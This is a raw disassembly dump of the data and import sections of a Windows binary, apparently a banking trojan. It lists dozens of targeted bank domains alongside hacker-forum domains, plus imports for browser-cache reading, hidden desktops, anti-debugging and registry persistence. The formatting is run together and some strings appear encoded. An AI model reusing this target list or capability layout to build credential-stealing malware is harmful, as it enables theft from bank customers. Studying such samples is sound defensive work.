db '',0 ; DATA XREF: sub_404970+1E0o asc_4473C6 db '',0 ; DATA XREF: sub_404970:loc_4049ECo aSq db '',0 ; DATA XREF: sub_40470D+245o ; sub_404DE3+167o aJJJsq db '',0 ; DATA XREF: sub_40470D+191o aUdcJJJR db '',0 ; DATA XREF: sub_40470D+C6o asc_4473EB db '',0 ; DATA XREF: sub_40470D+69o aCJ db '',0 ; DATA XREF: sub_40470D+4o ; sub_404970+BAo ... asc_4473F4 db '',0 ; DATA XREF: sub_404657+89o aBlind_user db 'blind_user',0 ; DATA XREF: sub_404502+57o ; sub_404590+Co aUGU db 'œϣœ',0 ; DATA XREF: sub_40439D+8Ao aMppraAdemUOxma db 'ڌꠄœގꠉœꠄœގ',0 ; DATA XREF: sub_404313+73o aGpnnbodGpn db '',0 ; DATA XREF: sub_404313+1Do aUGpnnbodRij db 'œΐ',0 ; DATA XREF: sub_4041B6+14Co aUSumjdmSVbf db 'œ٘',0 ; DATA XREF: sub_4041B6+12Co aGndEse db '΅',0 ; DATA XREF: sub_4041B6+F0o aUGndRij db 'œΐ',0 ; DATA XREF: sub_4041B6+D0o aUSumjdmofVbf db 'œ',0 ; DATA XREF: sub_4041B6+B0o word_447496 dw 320Eh ; DATA XREF: sub_403D18+354o dd 3C2A293Bh, 1001382Fh, 322F3E34h, 293B322Eh, 33340A01h dd 2E2A3239h, 2F281E01h, 2933382Fh, 2E2F380Bh, 1333234h dd 3138350Eh, 2F380E31h, 383E342Bh, 38373F12h, 3819293Eh dd 11243C31h, 393C32h dword_4474DC dd 2F3C2D1Ch, 33383029h db 29h, 0 word_4474E6 dw 3509h ; DATA XREF: sub_403D18:loc_404030o dd 393C382Fh, 103A3334h, 31383932h db 0 byte_4474F5 db 0 ; DATA XREF: sub_403D18+2EDo ; sub_405F5E+2EEo ... word_4474F6 dw 111Eh ; DATA XREF: sub_403D18+2C3o dd 119140Eh, 14012E78h, 322F0D33h, 2F380E3Eh, 6E2F382Bh db 6Fh, 0 word_44750E dw 2E78h ; DATA XREF: sub_403D18+234o dd 732E7801h, 313139h dword_447518 dd 696D7826h, 696D7805h, 6D787005h, 78700569h, 7005696Dh ; DATA XREF: sub_403D18+2Co dd 5696D78h, 696D7870h, 2 dup(696D7805h) db 5, 20h, 0 byte_44753F db 7Dh ; DATA XREF: sub_403B8E+132o db 0 byte_447541 db 78h, 2Eh, 1 ; DATA XREF: sub_403B8E+56o aX_s88 db 'x.s8%8',0 byte_44754B db 78h ; DATA XREF: sub_403A7B+BAo dd 5656Dh byte_447550 db 0FCh, 0 ; DATA XREF: sub_403883+4Fo ; .text:00403952o ... word_447552 dw 6Fh ; DATA XREF: sub_403780+30o byte_447554 db 0Fh, 0 ; DATA XREF: sub_40369B+A4o word_447556 dw 423Eh ; DATA XREF: sub_4034C6+67o ; sub_40355C+47o db 0 aChevychasebank db 'chevychasebank.com',0 ; DATA XREF: .data:0043C1DCo aGronxplanets_r db 'gronxplanets.ru',0 ; DATA XREF: .data:0043C1D8o aWww_mdmbank_ru db 'www.mdmbank.ru',0 ; DATA XREF: .data:0043C1D4o aFethard_biz db 'fethard.biz',0 ; DATA XREF: .data:0043C1D0o aRoyalbank_com db 'royalbank.com',0 ; DATA XREF: .data:0043C1CCo aSecuritylab_ru db 'securitylab.ru',0 ; DATA XREF: .data:0043C1C8o aTatNeftbank_ru db 'tat-neftbank.ru',0 ; DATA XREF: .data:0043C1C4o aSeclab_ru db 'seclab.ru',0 ; DATA XREF: .data:0043C1C0o aOpenbank_com db 'openbank.com',0 ; DATA XREF: .data:0043C1BCo aGutabank_ru db 'gutabank.ru',0 ; DATA XREF: .data:0043C1B8o aWww_b2bTrust_c db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043C1B4o aGrepwareFacili db 'grepware-facility.ru',0 ; DATA XREF: .data:0043C1B0o aWww_uralsib_ru db 'www.uralsib.ru',0 ; DATA XREF: .data:0043C1ACo a53bank_com db '53bank.com',0 ; DATA XREF: .data:0043C1A8o aWww_nbc_caInde db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043C1A4o aTotallyfreeban db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043C1A0o aBarclays_com db 'barclays.com',0 ; DATA XREF: .data:0043C19Co aWww_lbcdirect_ db 'www.lbcdirect.laurentianbank.ca/index.php',0 ; DATA XREF: .data:0043C198o aKidosBank_ru db 'kidos-bank.ru',0 ; DATA XREF: .data:0043C194o aYambo_biz db 'yambo.biz',0 ; DATA XREF: .data:0043C190o aProrat_net db 'prorat.net',0 ; DATA XREF: .data:0043C18Co aWww1_hsbc_caIn db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043C188o aWww_ovk_ru db 'www.ovk.ru',0 ; DATA XREF: .data:0043C184o aWww_rbc_com db 'www.rbc.com',0 ; DATA XREF: .data:0043C180o aMasterX_comFor db 'master-x.com/forum/',0 ; DATA XREF: .data:0043C17Co aWww_allahabadb db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043C178o aOnlineBusiness db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043C174o aMyonlineaccoun db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043C170o aWww_absolutban db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043C16Co aKavkazcenter_c db 'kavkazcenter.com/russ',0 ; DATA XREF: .data:0043C168o aWww_netmagiste db 'www.netmagister.com',0 ; DATA XREF: .data:0043C164o aWww_kmb_ru db 'www.kmb.ru',0 ; DATA XREF: .data:0043C160o aWww_spyinstruc db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043C15Co aAcroleinHawk_r db 'acrolein-hawk.rubanking.halifax-online.co.uk',0 ; DATA XREF: .data:0043C158o aWww_icbank_ru db 'www.icbank.ru',0 ; DATA XREF: .data:0043C154o aWww_bankofindi db 'www.bankofindia.com',0 ; DATA XREF: .data:0043C150o aPizdabolInc_ru db 'pizdabol-inc.ru',0 ; DATA XREF: .data:0043C14Co aWww_sbrf_ru db 'www.sbrf.ru',0 ; DATA XREF: .data:0043C148o aWww_candidatev db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043C144o aWww_worldbank_ db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043C140o aDigitalRelaxkg db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043C13Co aAsmworm_com db 'asmworm.com',0 ; DATA XREF: .data:0043C134o aAtmacasoft_com db 'atmacasoft.com',0 ; DATA XREF: .data:0043C130o aCrutop_nuVbu_1 db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043C12Co aWww_uniastrum_ db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043C128o aCrutop_nuVbu_0 db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043C124o aWww_mmbank_ru db 'www.mmbank.ru',0 ; DATA XREF: .data:0043C120o aCrutop_nuVbull db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043C11Co aAlfabank_ru db 'alfabank.ru',0 ; DATA XREF: .data:0043C118o aHyperSpaceFuel db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043C114o aWww_cwbank_com db 'www.cwbank.com',0 ; DATA XREF: .data:0043C110o aWww_vtb_ru db 'www.vtb.ru',0 ; DATA XREF: .data:0043C10Co aWww_cibc_com db 'www.cibc.com',0 ; DATA XREF: .data:0043C108o aWww_bankofmadu db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043C104o aWww_bmo_com db 'www.bmo.com',0 ; DATA XREF: .data:0043C100o aWww_bankBanque db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043C0FCo aWww_masterbank db 'www.masterbank.ru',0 ; DATA XREF: .data:0043C0F8o aEbookfinaltras db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043C0F4o aMasterX_com db 'master-x.com',0 ; DATA XREF: .data:0043C0F0o aWww_bbin_ru db 'www.bbin.ru',0 ; DATA XREF: .data:0043C0ECo aOlb2_nationet_ db 'olb2.nationet.com',0 ; DATA XREF: .data:0043C0E8o aWelcome3_smile db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043C0E4o aWww_baltbank_r db 'www.baltbank.ru',0 ; DATA XREF: .data:0043C0E0o aNew_egg_com db 'new.egg.com',0 ; DATA XREF: .data:0043C0DCo aProdexteam_n_1 db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043C0D8o aWww_proxySocks db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043C0D4o ; .data:0043C138o aWww_cbr_ru db 'www.cbr.ru',0 ; DATA XREF: .data:0043C0D0o aProdexteam_n_0 db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043C0CCo aProdexteam_net db 'prodexteam.net',0 ; DATA XREF: .data:0043C0C8o aChechenpress_i db 'chechenpress.info',0 ; DATA XREF: .data:0043C0C4o aSiliconfirewar db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43C0C0o db '://',0 align 4 dword_447A98 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_447AA8 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_406D91+997o dword_447AB8 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_447AC8 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_447AD8 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_447AE8 dd 2 dup(0) dd 0C0h, 46000000h dword_447AF8 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_447B08 dd 10h dup(0) ; sub_40BA60:loc_40BA7Ao ... dword_447B48 dd 0 ; sub_40BA04:loc_40BA46o ... dd 0Fh dup(0) dword_447B88 dd 0 ; sub_40BB69+825r dword_447B8C dd 0 ; sub_40BB69+82Cr dword_447B90 dd 0 ; sub_40BB69+834r dword_447B94 dd 0 ; sub_40BB69+83Cr align 800h _data ends ; Section 4. (virtual address 00048000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00048000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 448000h off_448000 dd offset dword_44810C ; DATA XREF: .idata:00448E00o dd 2 dup(0) dd offset dword_44810C dd offset dword_44810C off_448014 dd offset dword_44811C ; DATA XREF: .idata:00448E10o ; .idata:00448E14o align 10h dd offset dword_44811C dd offset dword_44811C off_448028 dd offset dword_448134 ; DATA XREF: .idata:00448E24o ; .idata:00448E28o ... dd 2 dup(0) dd offset dword_448134 dd offset dword_448134 off_44803C dd offset dword_448214 ; DATA XREF: .idata:00448E44o ; .idata:00448E48o ... dd 2 dup(0) dd offset dword_448214 dd offset dword_448214 off_448050 dd offset dword_448290 ; DATA XREF: .idata:00448F28o ; .idata:00448F2Co ... dd 2 dup(0) dd offset dword_448290 dd offset dword_448290 off_448064 dd offset dword_4482AC ; DATA XREF: .idata:00448FA8o ; .idata:00448FACo ... align 10h dd offset dword_4482AC dd offset dword_4482AC off_448078 dd offset dword_4482E8 ; DATA XREF: .idata:00448FCCo ; .idata:00448FD0o ... dd 2 dup(0) dd offset dword_4482E8 dd offset dword_4482E8 off_44808C dd offset dword_448338 ; DATA XREF: .idata:0044900Co ; .idata:00449010o ... dd 2 dup(0) dd offset dword_448338 dd offset dword_448338 dd 1Ah dup(0) dd 48574h dword_44810C dd 2 dup(0) ; .idata:0044800Co ... dd 48588h, 485A4h dword_44811C dd 2 dup(0) ; .idata:00448020o ... dd 485C0h, 485D4h, 485E8h, 485F8h dword_448134 dd 2 dup(0) ; .idata:00448034o ... dd 4860Ch, 4861Ch, 4862Ch, 48648h, 4865Ch, 48674h, 4868Ch dd 4869Ch, 486ACh, 486BCh, 486D4h, 486E8h, 486FCh, 48710h dd 48728h, 48738h, 48748h, 48758h, 48768h, 48778h, 48790h dd 487A8h, 487BCh, 487D0h, 487E4h, 487FCh, 48814h, 48824h dd 48834h, 48848h, 48858h, 48864h, 48874h, 48880h, 48890h dd 488A0h, 488ACh, 488B8h, 488C8h, 488D8h, 488ECh, 488FCh dd 48904h, 48918h, 48928h, 48938h, 48948h, 48960h, 4896Ch dd 48978h, 48988h, 48994h, 489A0h, 489B4h dword_448214 dd 2 dup(0) ; .idata:00448048o ... dd 489C4h, 489D8h, 489ECh, 489FCh, 48A0Ch, 48A18h, 48A28h dd 48A34h, 48A4Ch, 48A5Ch, 48A68h, 48A74h, 48A84h, 48A94h dd 48AA8h, 48ABCh, 48AD0h, 48AE4h, 48AF8h, 48B0Ch, 48B20h dd 48B2Ch, 48B3Ch, 48B50h, 48B64h, 48B74h, 48B88h, 48B98h dd 48BA8h dword_448290 dd 2 dup(0) ; .idata:0044805Co ... dd 48BBCh, 48BD0h, 48BE0h, 48BF0h, 48C08h dword_4482AC dd 2 dup(0) ; .idata:00448070o ... dd 48C18h, 48C2Ch, 48C44h, 48C58h, 48C68h, 48C78h, 48C8Ch dd 48CA0h, 48CB4h, 48CC8h, 48CDCh, 48CF8h, 48D10h dword_4482E8 dd 2 dup(0) ; .idata:00448084o ... dd 48D2Ch, 48D34h, 48D44h, 48D50h, 48D5Ch, 48D64h, 48D6Ch dd 48D78h, 48D84h, 48D90h, 48D98h, 48DA0h, 48DACh, 48DB8h dd 48DC0h, 48DCCh, 48DD8h, 48DE4h dword_448338 dd 2 dup(0) ; .idata:00448098o ... dword_448340 dd 77124C05h dd 2 dup(0) dword_44834C dd 42C2DE3Dh ; resolved to->WININET.FindFirstUrlCacheEntryAdword_448350 dd 42C2E399h ; resolved to->WININET.FindNextUrlCacheEntryA dd 2 dup(0) dword_44835C dd 774FFAC3h dword_448360 dd 7750CB9Ch dword_448364 dd 77502A37h dword_448368 dd 774FEE36h dd 2 dup(0) dword_448374 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_448378 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_44837C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_448380 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_448384 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_448388 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_44838C dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_448390 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_448394 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_448398 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_44839C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4483A0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4483A4 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeapdword_4483A8 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4483AC dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_4483B0 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_4483B4 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_4483B8 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4483BC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4483C0 dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4483C4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_4483C8 dd 7C8360A9h ; resolved to->KERNEL32.GlobalAddAtomAdword_4483CC dd 7C830BBBh ; resolved to->KERNEL32.GlobalDeleteAtomdword_4483D0 dd 7C8360C3h ; resolved to->KERNEL32.GlobalFindAtomAdword_4483D4 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4483D8 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4483DC dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_4483E0 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_4483E4 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_4483E8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_4483EC dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_4483F0 dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_4483F4 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4483F8 dd 7C80EA1Bh ; resolved to->KERNEL32.OpenMutexAdword_4483FC dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_448400 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_448404 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_448408 dd 7C90311Bh ; resolved to->NTDLL.RtlZeroMemorydword_44840C dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_448410 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_448414 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_448418 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_44841C dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_448420 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_448424 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_448428 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_44842C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_448430 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_448434 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_448438 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_44843C dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_448440 dd 7C809A09h ; resolved to->KERNEL32.lstrlenWdword_448444 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_448448 dd 7C810637h ; resolved to->KERNEL32.CreateThread dd 2 dup(0) dword_448454 dd 7E41F642h ; resolved to->USER32.CallWindowProcAdword_448458 dd 7E43212Bh ; resolved to->USER32.GetWindowTextAdword_44845C dd 7E41B6D4h ; resolved to->USER32.GetWindowRectdword_448460 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_448464 dd 7E41BC7Dh ; resolved to->USER32.GetWindowdword_448468 dd 7E42F420h ; resolved to->USER32.GetClassNameAdword_44846C dd 7E41DA60h ; resolved to->USER32.SetFocusdword_448470 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_448474 dd 7E41EF69h ; resolved to->USER32.LoadCursorAdword_448478 dd 7E418C2Eh ; resolved to->USER32.SetTimerdword_44847C dd 7E4208CEh ; resolved to->USER32.LoadIconAdword_448480 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_448484 dd 7E42E002h ; resolved to->USER32.GetMessageAdword_448488 dd 7E41945Dh ; resolved to->USER32.GetWindowLongAdword_44848C dd 7E41D60Dh ; resolved to->USER32.SetWindowLongAdword_448490 dd 7E455BD7h ; resolved to->USER32.CreateDesktopAdword_448494 dd 7E42E8D1h ; resolved to->USER32.SetThreadDesktopdword_448498 dd 7E419A51h ; resolved to->USER32.GetThreadDesktopdword_44849C dd 7E418BF6h ; resolved to->USER32.TranslateMessagedword_4484A0 dd 7E4196B8h ; resolved to->USER32.DispatchMessageAdword_4484A4 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_4484A8 dd 7E42F383h ; resolved to->USER32.SendMessageAdword_4484AC dd 7E420A36h ; resolved to->USER32.RegisterClassAdword_4484B0 dd 7E42E1D1h ; resolved to->USER32.PostQuitMessagedword_4484B4 dd 7E41D8A4h ; resolved to->USER32.ShowWindowdword_4484B8 dd 7E41FF33h ; resolved to->USER32.CreateWindowExAdword_4484BC dd 7E41DAEAh ; resolved to->USER32.DestroyWindowdword_4484C0 dd 7E41DBECh ; resolved to->USER32.MoveWindowdword_4484C4 dd 7E41D4EEh ; resolved to->USER32.DefWindowProcA align 10h dword_4484D0 dd 77F161D1h ; resolved to->GDI32.GetStockObjectdword_4484D4 dd 77F15E39h ; resolved to->GDI32.SetBkColordword_4484D8 dd 77F15D87h ; resolved to->GDI32.SetTextColordword_4484DC dd 77F1D991h ; resolved to->GDI32.CreateBrushIndirectdword_4484E0 dd 77F3B730h ; resolved to->GDI32.CreateFontA dd 2 dup(0) dword_4484EC dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessTokendword_4484F0 dd 77DD7B76h ; resolved to->ADVAPI32.GetTokenInformationdword_4484F4 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_4484F8 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_4484FC dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_448500 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_448504 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_448508 dd 77DF08D5h ; resolved to->ADVAPI32.GetSecurityInfodword_44850C dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_448510 dd 77E215D9h ; resolved to->ADVAPI32.SetEntriesInAclAdword_448514 dd 77DFD4B0h ; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_448518 dd 77DF9839h ; resolved to->ADVAPI32.GetSidSubAuthoritydword_44851C dd 77DF986Bh ; resolved to->ADVAPI32.GetSidSubAuthorityCount dd 2 dup(0) dword_448528 dd 73D96FEBh dword_44852C dd 73D91C28h dword_448530 dd 73D92B86h dword_448534 dd 73D9A3B0h dword_448538 dd 73D9B9A2h dword_44853C dd 73D91F60h dword_448540 dd 73D9D320h dword_448544 dd 73D9D340h dword_448548 dd 73D9D5E0h dword_44854C dd 73D9242Ch dword_448550 dd 73D9DBAFh dword_448554 dd 73D92226h dword_448558 dd 73D9E5C5h dword_44855C dd 73D9DBA2h dword_448560 dd 73D9E61Eh dword_448564 dd 73D9E65Ch dword_448568 dd 73D9E69Ch dword_44856C dd 73D9F24Ch dd 0 dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0 dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch dd 6E456568h, 41797274h, 0 dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h dd 696C6169h, 657Ah, 6F43005Bh, 6E696E55h, 61697469h, 657A696Ch dd 0 dd 6544006Bh, 6574656Ch, 656C6946h, 41h, 7845009Bh, 72507469h dd 7365636Fh, 73h, 7845009Dh, 646E6170h, 69766E45h, 6D6E6F72h dd 53746E65h, 6E697274h, 417367h, 654700EDh, 6D6F4374h dd 646E616Dh, 656E694Ch, 41h, 65470112h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 65470115h, 72754374h, 746E6572h dd 65726854h, 64496461h, 0 dd 6547012Fh, 6C694674h, 7A695365h, 65h, 65470131h, 6C694674h dd 6D695465h, 65h, 6547013Ch, 73614C74h, 72724574h, 726Fh dd 65470147h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 65470149h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470167h dd 6F725074h, 64644163h, 73736572h, 0 dd 6547016Ah, 6F725074h, 73736563h, 70616548h, 0 dd 65470188h, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 6C430027h, 4865736Fh, 6C646E61h, 65h, 6547019Ah dd 6D655474h, 74615070h, 4168h, 654701A4h, 63695474h, 756F436Bh dd 746Eh, 654701ACh, 72655674h, 6E6F6973h, 0 dd 654701ADh, 72655674h, 6E6F6973h, 417845h, 654701AFh dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh dd 654701B7h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 6C4701BAh, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 6C4701BEh, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C4701BFh dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C4701C8h, 6C61626Fh dd 6F6D654Dh, 74537972h, 73757461h, 0 dd 6E4901EBh, 6C726574h, 656B636Fh, 636E4964h, 656D6572h dd 746Eh, 734901F1h, 52646142h, 50646165h, 7274h, 734901F4h dd 57646142h, 65746972h, 727450h, 734901F7h, 75626544h dd 72656767h, 73657250h, 746E65h, 6F4C0203h, 694C6461h dd 72617262h, 4179h, 6F430033h, 69467970h, 41656Ch, 6F4C0209h dd 416C6163h, 636F6C6Ch, 0 dd 6F4C020Dh, 466C6163h, 656572h, 704F0230h, 754D6E65h dd 41786574h, 0 dd 704F0232h, 72506E65h, 7365636Fh, 73h, 6552025Ch, 69466461h dd 656Ch, 74520278h, 776E556Ch, 646E69h, 74520279h, 72655A6Ch dd 6D654D6Fh, 79726Fh, 72430042h, 65746165h, 656C6946h dd 41h, 655302A8h, 6C694674h, 696F5065h, 7265746Eh, 0 dd 655302ACh, 6C694674h, 6D695465h, 65h, 6C5302DCh, 706565h dd 655402E4h, 6E696D72h, 50657461h, 65636F72h, 7373h, 695602FEh dd 61757472h, 6C6C416Ch, 636Fh, 69560300h, 61757472h, 6572466Ch dd 65h, 69560305h, 61757472h, 6575516Ch, 7972h, 69570311h dd 68436564h, 6F547261h, 746C754Dh, 74794269h, 65h, 69570312h dd 6578456Eh, 63h, 7257031Dh, 46657469h, 656C69h, 7243004Fh dd 65746165h, 6574754Dh, 4178h, 736C0345h, 656C7274h, 416Eh dd 736C0346h, 656C7274h, 576Eh, 72430054h, 65746165h, 636F7250h dd 41737365h, 0 dd 7243005Ah, 65746165h, 65726854h, 6461h, 61430063h, 69576C6Ch dd 776F646Eh, 636F7250h, 41h, 6547006Ch, 6E695774h, 54776F64h dd 41747865h, 0 dd 65470073h, 6E695774h, 52776F64h, 746365h, 69460078h dd 6957646Eh, 776F646Eh, 41h, 6547007Ch, 6E695774h, 776F64h dd 65470011h, 616C4374h, 614E7373h, 41656Dh, 655300CFh dd 636F4674h, 7375h, 654700D4h, 726F4674h, 6F726765h, 57646E75h dd 6F646E69h, 77h, 6F4C0019h, 75436461h, 726F7372h, 41h dd 6553010Ah, 6D695474h, 7265h, 6F4C001Bh, 63496461h, 416E6Fh dd 654D0140h, 67617373h, 786F4265h, 41h, 65470023h, 73654D74h dd 65676173h, 41h, 65470169h, 6E695774h, 4C776F64h, 41676E6Fh dd 0 dd 6553016Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0 dd 7243016Eh, 65746165h, 6B736544h, 41706F74h, 0 dd 65530175h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470176h dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540027h, 6C736E61h dd 4D657461h, 61737365h, 6567h, 69440028h, 74617073h, 654D6863h dd 67617373h, 4165h, 737701FBh, 6E697270h, 416674h, 65530034h dd 654D646Eh, 67617373h, 4165h, 65520005h, 74736967h, 6C437265h dd 41737361h, 0 dd 6F500041h, 75517473h, 654D7469h, 67617373h, 65h, 6853004Fh dd 6957776Fh, 776F646Eh, 0 dd 72430053h, 65746165h, 646E6957h, 7845776Fh, 41h, 65440055h dd 6F727473h, 6E695779h, 776F64h, 6F4D005Ah, 69576576h dd 776F646Eh, 0 dd 65440061h, 6E695766h, 50776F64h, 41636F72h, 0 dd 65470089h, 6F745374h, 624F6B63h, 7463656Ah, 0 dd 655300CAh, 436B4274h, 726F6C6Fh, 0 dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h dd 6E65h, 6547001Ah, 6B6F5474h, 6E496E65h, 6D726F66h, 6F697461h dd 6Eh, 65520173h, 65724367h, 4B657461h, 78457965h, 41h dd 65520176h, 6F6C4367h, 654B6573h, 79h, 6552017Bh, 65704F67h dd 79654B6Eh, 417845h, 65520186h, 65755167h, 61567972h dd 4565756Ch, 4178h, 65520192h, 74655367h, 756C6156h, 41784565h dd 0 dd 654701CCh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CFh dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D6h, 746E4574h dd 73656972h, 63416E49h, 416Ch, 6547004Ah, 64695374h, 6E656449h dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh dd 64695374h, 41627553h, 6F687475h, 79746972h, 0 dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0 dd 735F01A6h, 63697274h, 706Dh, 626101F6h, 73h, 7865020Ah dd 7469h, 656D0253h, 706D636Dh, 0 dd 656D0254h, 7970636Dh, 0 dd 656D0256h, 7465736Dh, 0 dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h dd 0 dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h dd 666E6163h, 0 dd 74730271h, 74616372h, 0 dd 74730272h, 72686372h, 0 dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh dd 0 dd offset off_448000 aWininet_dll db 'WININET.DLL',0 dd offset off_448014 dd offset off_448014 aOle32_dll db 'ole32.DLL',0 align 4 dd offset off_448028 dd offset off_448028 dd offset off_448028 dd offset off_448028 aKernel32_dll_1 db 'KERNEL32.dll',0 align 4 dd offset off_44803C dd offset 